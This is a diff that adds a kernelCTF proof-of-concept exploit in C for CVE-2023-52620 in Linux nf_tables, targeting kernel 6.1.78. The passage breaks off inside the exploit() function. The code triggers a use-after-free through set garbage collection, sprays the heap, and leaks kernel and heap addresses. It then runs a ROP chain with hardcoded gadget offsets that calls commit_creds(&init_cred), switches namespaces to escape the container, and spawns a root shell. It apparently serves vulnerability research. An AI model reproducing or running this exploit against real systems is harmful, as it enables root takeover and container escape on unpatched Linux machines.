b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/lts-6.1.78/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/lts-6.1.78/exploit.c b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/lts-6.1.78/exploit.c new file mode 100644 index 000000000..545de3d0c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/lts-6.1.78/exploit.c @@ -0,0 +1,877 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include + +#include "netlink_utils.h" + +#define TABLE_SPRAY 0x200 +#define SET_SPRAY 0x10 +#define BUF_SIZE 0x1000 * 0x100 + +#define KMALLOC_64_SIZE 64 +#define KMALLOC_96_SIZE 96 +#define KMALLOC_256_SIZE 256 +#define NFT_RULE_HEADER_SIZE 25 + +#define FIND_TASK_BY_VPID 0x1b3a60 +#define SWITCH_TASK_NAMESPACES 0x1bb4f0 +#define COMMIT_CREDS 0x1bd090 +#define INIT_CRED 0x28768e0 +#define INIT_NSPROXY 0x28766a0 +#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0x1201146 +#define NFT_COUNTER_OPS 0x1b2a4c0 +#define RCU_READ_LOCK_NESTING_OFF 0x474 + +#define PUSH_RBX_POP_RSP_RBP 0xf82bf9; // 0xffffffff81f82bf9 : push rbx ; and byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; jmp 0xffffffff82404c80 +#define POP_RDI_RET 0x278a27; // 0xffffffff81278a27 : pop rdi ; jmp 0xffffffff82404c80 +#define POP_RSI_RET 0x5889f8; // 0xffffffff815889f8 : pop rsi ; jmp 0xffffffff82404c80 +#define ADD_RAX_RSI_RET 0x037000; // 0xffffffff81037000 : add rax, rsi ; jmp 0xffffffff82404c80 +#define POP_RCX_RET 0x02789d; // 0xffffffff8102789d : pop rcx ; jmp 0xffffffff82404c80 +#define MOV_RAX_RCX_RET 0x7219fb; // 0xffffffff817219fb : mov qword ptr [rax], rcx ; jmp 0xffffffff82404c80 +#define MOV_RDI_RAX_RET 0x118ea2b; // 0xffffffff8218ea2b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff82404c80 +#define POP_RSP_RET 0x008a04; // 0xffffffff81008a04 : pop rsp ; jmp 0xffffffff82404c80 + +#define CHAIN_NAME_OFF 0x70 + +uint64_t counter_ops = 0; +uint64_t kbase = 0; +uint64_t kmalloc_96 = 0; + +char* buf; +struct nlmsghdr * nlh; +struct mnl_nlmsg_batch * batch; +struct mnl_socket * nl; +uint32_t portid; +uint8_t family = NFPROTO_IPV4; +int seq = 0; +int handle = 0, handle_leak_kbase = 0, handle_leak_heap = 0, handle_rop = 0; + +char * table1_name = "table1"; +char * set_leak_name = "set_leak_name"; +char * set_rop_name = "set_rop"; +char * chain_base_name = "chain1"; +char * chain_delay_name = "chain_delay_name"; +// allocate chain->name to kmalloc-cg-16 +char * chain_leak_name = "chain_leak_name"; +// allocate chain->name to kmalloc-cg-64 +char * chain_rop_name = "chain_rop_name_chain_rop_name_rop_name"; + +void win(){ + setns(open("/proc/1/ns/mnt", O_RDONLY), 0); + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + char* shell[] = { + "/bin/sh", + "-c", + "/bin/cat /flag && /bin/sh", + NULL, + }; + execve(shell[0], shell, NULL); + + exit(0); +} + +void set_affinity(bool is_set){ + cpu_set_t my_set; + int cpu_cores = sysconf(_SC_NPROCESSORS_ONLN); + + if (cpu_cores == 1) return; + + CPU_ZERO(&my_set); + + if(is_set) + CPU_SET(0, &my_set); + else{ + CPU_SET(1, &my_set); + } + + if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { + perror("[-] sched_setaffinity()"); + exit(EXIT_FAILURE); + } +} + +/* + * Add a network interface. + * Equivalent to `ip link add ...`. + */ +int net_if(char *type, int n, int opt) { + + struct nlmsghdr *msg; + struct nlattr *opts; + struct ifinfomsg ifinfo = {}; + char name[0x100] = { 0 }; + int sk; + + strcpy(name, type); + + if (n >= 0) + snprintf(name, sizeof(name), "%s-%d", type, n); + + // Initalize a netlink socket and allocate a nlmsghdr + sk = nl_init_request(RTM_NEWLINK, &msg, NLM_F_REQUEST|NLM_F_CREATE); + if (!sk) { + perror("nl_init_request()"); + return -1; + } + + ifinfo.ifi_family = AF_UNSPEC; + ifinfo.ifi_type = PF_NETROM; + ifinfo.ifi_index = 0; + ifinfo.ifi_flags = opt; + ifinfo.ifi_change = 1; + + nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO); + + nla_put_string(msg, IFLA_IFNAME, name); + opts = nla_nest_start(msg, IFLA_LINKINFO); + nla_put_string(msg, IFLA_INFO_KIND, type); + nla_nest_end(msg, opts); + + // Send the netlink message and deallocate resources + return nl_complete_request(sk, msg); +} + +void write_file(const char *filename, char *text) { + int fd = open(filename, O_RDWR | O_CREAT, 0600); + + write(fd, text, strlen(text)); + close(fd); +} + +void new_ns(void) { + uid_t uid = getuid(); + gid_t gid = getgid(); + char buffer[0x100]; + + unshare(CLONE_NEWUSER | CLONE_NEWNS); + + unshare(CLONE_NEWNET); + + write_file("/proc/self/setgroups", "deny"); + + snprintf(buffer, sizeof(buffer), "0 %d 1", uid); + write_file("/proc/self/uid_map", buffer); + snprintf(buffer, sizeof(buffer), "0 %d 1", gid); + write_file("/proc/self/gid_map", buffer); + + net_if("lo", -1, IFF_UP); +} + +uint64_t _user_rip = (uint64_t) win; +uint64_t _user_cs = 0; +uint64_t _user_rflags = 0; +uint64_t _user_sp = 0; +uint64_t _user_ss = 0; + +void save_state(void) { + __asm__(".intel_syntax noprefix;" + "mov _user_cs, cs;" + "mov _user_ss, ss;" + "mov _user_sp, rsp;" + "pushf;" + "pop _user_rflags;" + ".att_syntax"); + return; +} + +#define TRIG_HOST "127.0.0.1" +#define TRIG_PORT 1337 + +/* Connect to a server in a specific port to trigger netfilter hooks */ +void trig_net_sock(void) { + int sockfd = 00; + struct sockaddr_in servaddr, cli; + + bzero(&servaddr, sizeof(servaddr)); + bzero(&cli, sizeof(cli)); + + sockfd = socket(AF_INET, SOCK_STREAM, 0); + if(sockfd == -1) + printf("[-] Socket creation failed"); + + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr = inet_addr(TRIG_HOST); + servaddr.sin_port = htons(TRIG_PORT); + + if(connect(sockfd, (struct sockaddr*) &servaddr, sizeof(servaddr)) != 0) + printf("[-] Connection with server failed"); + + write(sockfd, "AAAA", 4); + + close(sockfd); + + return; +} + +/* Set up a server to receive hook-triggering output packets */ +void setup_trig_server(void) { + int sfd = 0, sock = 0; + struct sockaddr_in address; + int opt = 1; + int addrlen = sizeof(address); + char buffer[1024] = { 0 }; + + if((sfd = socket(AF_INET, SOCK_STREAM, 0)) == 0) + printf("[-] Error at socket()"); + + if(setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) + printf("[-] Error at setsockopt()"); + + address.sin_family = AF_INET; + address.sin_addr.s_addr = INADDR_ANY; + address.sin_port = htons(TRIG_PORT); + + if(bind(sfd, (struct sockaddr*)&address, sizeof(address)) < 0) + printf("[-] Error at bind()"); + + if(listen(sfd, 3) < 0) + printf("[-] Error at listen()"); + + if((sock = accept(sfd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) < 0) + printf("[-] Error at accept()"); + + read(sock, buffer, 4); + + close(sock); + close(sfd); + + return; +} + +void trig_sock(){ + int sfd = 0; + + /* Set up server at TRIG_PORT in a new process */ + sfd = fork(); + if(sfd == 0) { + setup_trig_server(); + exit(0); + } + + /* Trigger the network hook */ + trig_net_sock(); +} + +void fake_ops_96(uint64_t* data){ + int i = 0; + + // expr->ops->eval() + data[i++] = kbase + PUSH_RBX_POP_RSP_RBP; +} + +void rop_chain_256(uint64_t* data){ + int i = 0; + + // nft_rule_blob.size > 0 + data[i++] = 0x100; + // nft_rule_blob.dlen > 0 + data[i++] = 0x100; + + // fake ops addr + data[i++] = kmalloc_96; + + // current = find_task_by_vpid(getpid()) + data[i++] = kbase + POP_RDI_RET + data[i++] = getpid(); + data[i++] = kbase + FIND_TASK_BY_VPID; + + // current += offsetof(struct task_struct, rcu_read_lock_nesting) + data[i++] = kbase + POP_RSI_RET; + data[i++] = RCU_READ_LOCK_NESTING_OFF; + data[i++] = kbase + ADD_RAX_RSI_RET; + + // current->rcu_read_lock_nesting = 0 (Bypass rcu protected section) + data[i++] = kbase + POP_RCX_RET; + data[i++] = 0; + data[i++] = kbase + MOV_RAX_RCX_RET; + + // commit_creds(&init_cred) + data[i++] = kbase + POP_RDI_RET; + data[i++] = kbase + INIT_CRED; + data[i++] = kbase + COMMIT_CREDS; + + // find_task_by_vpid(1) + data[i++] = kbase + POP_RDI_RET; + data[i++] = 1; + data[i++] = kbase + FIND_TASK_BY_VPID; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + MOV_RDI_RAX_RET; + data[i++] = kbase + POP_RSI_RET; + data[i++] = kbase + INIT_NSPROXY; + data[i++] = kbase + SWITCH_TASK_NAMESPACES; + + data[i++] = kbase + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE; + data[i++] = 0; + data[i++] = 0; + data[i++] = _user_rip; + data[i++] = _user_cs; + data[i++] = _user_rflags; + data[i++] = _user_sp; + data[i++] = _user_ss; +} + +void spray_counter(){ + char *set_name; + + for(int i = 0; i < SET_SPRAY; i++){ + asprintf(&set_name, "s%02hx", i); + + struct nftnl_set * set_leak = nftnl_set_alloc(); + + nftnl_set_set_str(set_leak, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_leak, NFTNL_SET_NAME, set_name); + nftnl_set_set_u32(set_leak, NFTNL_SET_KEY_LEN, 1); + nftnl_set_set_u32(set_leak, NFTNL_SET_ID, i); + + struct nftnl_expr * expr_counter = nftnl_expr_alloc("counter"); + nftnl_set_add_expr(set_leak, expr_counter); + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_leak); + mnl_nlmsg_batch_next(batch); + + handle++; + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + } +} + +void setup_table_chain(){ + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table1_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_chain * chain1 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_NAME, chain_base_name); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_FLAGS, 0); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_TYPE, "filter"); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_IN); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_PRIO, 10); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_POLICY, NF_ACCEPT); + + struct nftnl_chain * chain_delay = nftnl_chain_alloc(); + nftnl_chain_set_str(chain_delay, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain_delay, NFTNL_CHAIN_NAME, chain_delay_name); + nftnl_chain_set_u32(chain_delay, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_chain * chain_leak = nftnl_chain_alloc(); + nftnl_chain_set_str(chain_leak, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain_leak, NFTNL_CHAIN_NAME, chain_leak_name); + nftnl_chain_set_u32(chain_leak, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_chain * chain_rop = nftnl_chain_alloc(); + nftnl_chain_set_str(chain_rop, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain_rop, NFTNL_CHAIN_NAME, chain_rop_name); + nftnl_chain_set_u32(chain_rop, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_rule * rule_dangling_3 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dangling_3, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dangling_3, NFTNL_RULE_CHAIN, chain_base_name); + + struct nftnl_expr * expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain_leak_name); + nftnl_rule_add_expr(rule_dangling_3, expr_immediate); + + struct nftnl_rule * rule_dangling_4 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_CHAIN, chain_base_name); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain_rop_name); + nftnl_rule_add_expr(rule_dangling_4, expr_immediate); + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE, seq++); + nftnl_table_nlmsg_build_payload(nlh, table); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_rop); + mnl_nlmsg_batch_next(batch); + + handle++; + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_leak); + mnl_nlmsg_batch_next(batch); + + handle++; + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_delay); + mnl_nlmsg_batch_next(batch); + + handle++; + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain1); + mnl_nlmsg_batch_next(batch); + + handle++; + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_dangling_3); + mnl_nlmsg_batch_next(batch); + + handle++; + handle_leak_kbase = handle; + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_dangling_4); + mnl_nlmsg_batch_next(batch); + + handle++; + handle_leak_heap = handle; + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +void del_chain(char* chain_name){ + struct nftnl_chain * chain = nftnl_chain_alloc(); + nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name); + nftnl_chain_set_u32(chain, NFTNL_CHAIN_FLAGS, 0); + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +void del_rule(unsigned long handle){ + struct nftnl_rule * rule_del = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_del, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_del, NFTNL_RULE_CHAIN, chain_base_name); + nftnl_rule_set_u64(rule_del, NFTNL_RULE_HANDLE, handle); + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_del); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +void spray_table(void* data, uint64_t size){ + struct nftnl_table * tables[TABLE_SPRAY] = {0,}; + + for(int i = 0; i < TABLE_SPRAY; i++){ + char *table_name; + asprintf(&table_name, "%02hx_%ld", i, size); + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data, size); + + tables[i] = table; + } + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < TABLE_SPRAY; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +void trigger(char * trig_set_name, char * trig_chain_name){ + uint8_t desc_concat[2]; + memset(desc_concat, 1, 2); + + struct nftnl_set * set_leak = nftnl_set_alloc(); + + nftnl_set_set_str(set_leak, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_leak, NFTNL_SET_NAME, trig_set_name); + nftnl_set_set_u32(set_leak, NFTNL_SET_FLAGS, NFT_SET_ANONYMOUS | NFT_SET_CONCAT | NFT_SET_TIMEOUT | NFT_SET_MAP); + nftnl_set_set_u32(set_leak, NFTNL_SET_KEY_LEN, 8); + nftnl_set_set_u32(set_leak, NFTNL_SET_ID, 1337); + nftnl_set_set_u32(set_leak, NFTNL_SET_GC_INTERVAL, 1); + nftnl_set_set_u32(set_leak, NFTNL_SET_DESC_SIZE, 1); + nftnl_set_set_u32(set_leak, NFTNL_SET_DATA_TYPE, NFT_DATA_VERDICT); + nftnl_set_set_data(set_leak, NFTNL_SET_DESC_CONCAT, desc_concat, 2); + + struct nftnl_set * set_leak_elem = nftnl_set_alloc(); + + nftnl_set_set_str(set_leak_elem, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_leak_elem, NFTNL_SET_NAME, trig_set_name); + + struct nftnl_set_elem * elem1 = nftnl_set_elem_alloc(); + + nftnl_set_elem_set_u32(elem1, NFTNL_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL); + nftnl_set_elem_set_str(elem1, NFTNL_SET_ELEM_CHAIN, trig_chain_name); + nftnl_set_elem_set_u32(elem1, NFTNL_SET_ELEM_VERDICT, NFT_GOTO); + nftnl_set_elem_set_u64(elem1, NFTNL_SET_ELEM_TIMEOUT, 1); + + nftnl_set_elem_add(set_leak_elem, elem1); + + struct nftnl_rule * rule_lookup_set_leak = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_lookup_set_leak, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_lookup_set_leak, NFTNL_RULE_CHAIN, chain_base_name); + nftnl_rule_set_u32(rule_lookup_set_leak, NFTNL_RULE_ID, 1); + + struct nftnl_expr * expr_lookup = nftnl_expr_alloc("lookup"); + nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG32_00); + nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_DREG, NFT_REG32_01); + nftnl_expr_set_str(expr_lookup, NFTNL_EXPR_LOOKUP_SET, trig_set_name); + nftnl_rule_add_expr(rule_lookup_set_leak, expr_lookup); + + struct nftnl_rule * rule_dummy_rop = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dummy_rop, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dummy_rop, NFTNL_RULE_CHAIN, chain_rop_name); + + struct nftnl_rule * rule_delay = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_delay, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_delay, NFTNL_RULE_CHAIN, chain_delay_name); + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_leak); + mnl_nlmsg_batch_next(batch); + + handle++; + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set_leak_elem); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_lookup_set_leak); + mnl_nlmsg_batch_next(batch); + + handle++; + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_lookup_set_leak); + mnl_nlmsg_batch_next(batch); + + // create delay to trigger set element GC + for(int i = 0 ; i < 0x800; i++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_delay); + mnl_nlmsg_batch_next(batch); + + handle++; + } + + // allocate struct nft_rule_blob to kmalloc-cg-256. Since trigger() is called twice before ROP, chain_rop contains 20 rules. + for(int i = 0 ; i < 0xa; i++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_dummy_rop); + mnl_nlmsg_batch_next(batch); + + handle++; + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for nft_commit_release() to complete + usleep(10*1000); + + del_chain(trig_chain_name); + + // wait for nft_commit_release() to complete + usleep(300*1000); +} + +int leak_kaslr(){ + int ret; + + trigger(set_leak_name, chain_leak_name); + + spray_counter(); + + if(kbase != 0) return 0; + + char read_data[0x200] = {0,}; + + struct nftnl_rule *rule_get = nftnl_rule_alloc(); + nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_get, NFTNL_RULE_CHAIN, chain_base_name); + nftnl_rule_set_u64(rule_get, NFTNL_RULE_HANDLE, handle_leak_kbase); + + nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_ACK, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_get); + nftnl_rule_free(rule_get); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + ret = mnl_socket_recvfrom(nl, read_data, 0x100); + + if (ret > 0) { + memcpy(&counter_ops, &read_data[CHAIN_NAME_OFF], sizeof(uint64_t)); + ret = mnl_socket_recvfrom(nl, read_data, 0x100); + } + + if(counter_ops >> 32 != 0xffffffff){ + return -1; + } + + kbase = counter_ops - NFT_COUNTER_OPS; + + printf("[*] kbase: %lx\n", kbase); + + return 0; +} + +int leak_heap_addr(){ + int ret; + char rule_data[0x400] = {0,}; + + struct nftnl_rule * rule_96 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_96, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_96, NFTNL_RULE_CHAIN, chain_base_name); + nftnl_rule_set_data(rule_96, NFTNL_RULE_USERDATA, rule_data, KMALLOC_96_SIZE-NFT_RULE_HEADER_SIZE); + + struct nftnl_rule * rule_64 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_64, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_64, NFTNL_RULE_CHAIN, chain_base_name); + nftnl_rule_set_data(rule_64, NFTNL_RULE_USERDATA, rule_data, KMALLOC_64_SIZE-NFT_RULE_HEADER_SIZE); + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_96); + mnl_nlmsg_batch_next(batch); + + handle++; + handle_rop = handle; + + for(int i = 0; i < 0x20; i++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_64); + mnl_nlmsg_batch_next(batch); + + handle++; + } + + for(int i = 0; i < 0x20; i++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_96); + mnl_nlmsg_batch_next(batch); + + handle++; + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + char read_data[0x1000] = {0,}; + + struct nftnl_rule *rule_get = nftnl_rule_alloc(); + nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_get, NFTNL_RULE_CHAIN, chain_base_name); + nftnl_rule_set_u64(rule_get, NFTNL_RULE_HANDLE, handle_leak_heap); + + nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_ACK, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_get); + nftnl_rule_free(rule_get); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + ret = mnl_socket_recvfrom(nl, read_data, 0x100); + + if (ret > 0) { + memcpy(&kmalloc_96, &read_data[CHAIN_NAME_OFF], sizeof(uint64_t)); + ret = mnl_socket_recvfrom(nl, read_data, 0x100); + } + + if((kmalloc_96 >> 48) != 0xffff){ + return -1; + } + + printf("[*] heap %lx\n", kmalloc_96); + + return 0; +} + +int exploit(){ + int ret; + + trigger(set_rop_name, chain_rop_name); + + 